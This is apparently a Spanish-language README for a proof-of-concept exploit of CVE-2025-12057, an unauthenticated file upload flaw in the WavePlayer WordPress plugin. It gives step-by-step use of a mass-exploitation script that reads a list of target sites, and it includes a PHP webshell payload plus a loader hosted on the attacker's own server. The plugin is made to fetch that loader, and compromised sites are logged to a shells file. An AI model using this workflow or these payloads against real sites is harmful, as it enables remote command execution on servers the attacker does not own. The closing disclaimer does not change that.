
PoC para CVE-2025-12057 - Carga Arbitraria de Archivos No Autenticada en el plugin WavePlayer de WordPress que conduce a RCE
Prueba de Concepto (PoC) para CVE-2025-12057, una vulnerabilidad crítica que afecta al plugin WavePlayer de WordPress (< 3.8.0).
Esta vulnerabilidad permite a atacantes no autenticados subir archivos arbitrarios al servidor, lo que puede llevar a Ejecución Remota de Código (RCE) mediante la subida de un archivo PHP malicioso (webshell).
Un atacante puede abusar de la funcionalidad de subida vulnerable para colocar un payload PHP en el servidor y ejecutar comandos del sistema.
CVE: CVE-2025-12057
Tipo: Subida Arbitraria de Archivos sin Autenticación
Impacto: Ejecución Remota de Código (RCE)
Plugin Afectado: WavePlayer
Versiones Afectadas: < 3.8.0
Gravedad: Crítica
Los atacantes pueden subir archivos maliciosos al directorio de subidas de WordPress y ejecutarlos remotamente.
Ejecuta el script:
python3 wave.py
El script solicitará la ruta de un archivo .txt que contenga los sitios objetivo.
Ejemplo:
sites.txt
Contenido de ejemplo:
https://example.com
https://target2.com
https://target3.com
Cada línea debe contener una URL de sitio WordPress.
Crea un archivo PHP de payload.
Ejemplo:
payload.php
Contenido de ejemplo:
<?php
system($_GET['cmd']);
?>
El exploit requiere una URL de payload PHP descargable directamente.
Para ello, crea otro archivo PHP en el mismo directorio que el payload.
Estructura de ejemplo:
payload.php
loader.php
Contenido de loader.php:
<?php
// name of the payload file to return
$file = "payload.php";
// force the server to return the file as PHP content
header("Content-Type: application/x-httpd-php");
// output the payload file
readfile($file);
exit;
?>
Explicación:
$file = "payload.php"; → nombre del archivo payload a servirheader("Content-Type: application/x-httpd-php"); → obliga al servidor a devolver el archivo como PHPreadfile($file); → muestra el contenido del payloadEsto permite que el script del exploit descargue el payload correctamente.
Sube ambos archivos a tu servidor.
URL de payload de ejemplo:
http://your-server.com/loader.php
Cuando el script solicite la URL del payload, proporciona el enlace a loader.php.
Los objetivos explotados con éxito se guardarán en:
shells.txt
Salida de ejemplo:
https://example.com/wp-content/uploads/peaks/external/{random_numbers}.php
https://target2.com/wp-content/uploads/peaks/external/{random_numbers}.php
exploit de wordpress
poc de wordpress
rce de wordpress
exploit de waveplayer
subida arbitraria de archivos
ejecución remota de código
bug bounty
cve-2025-12057
Este proyecto se proporciona solo con fines educativos y para pruebas de seguridad autorizadas.
El autor no es responsable del uso indebido o actividades ilegales realizadas con este código.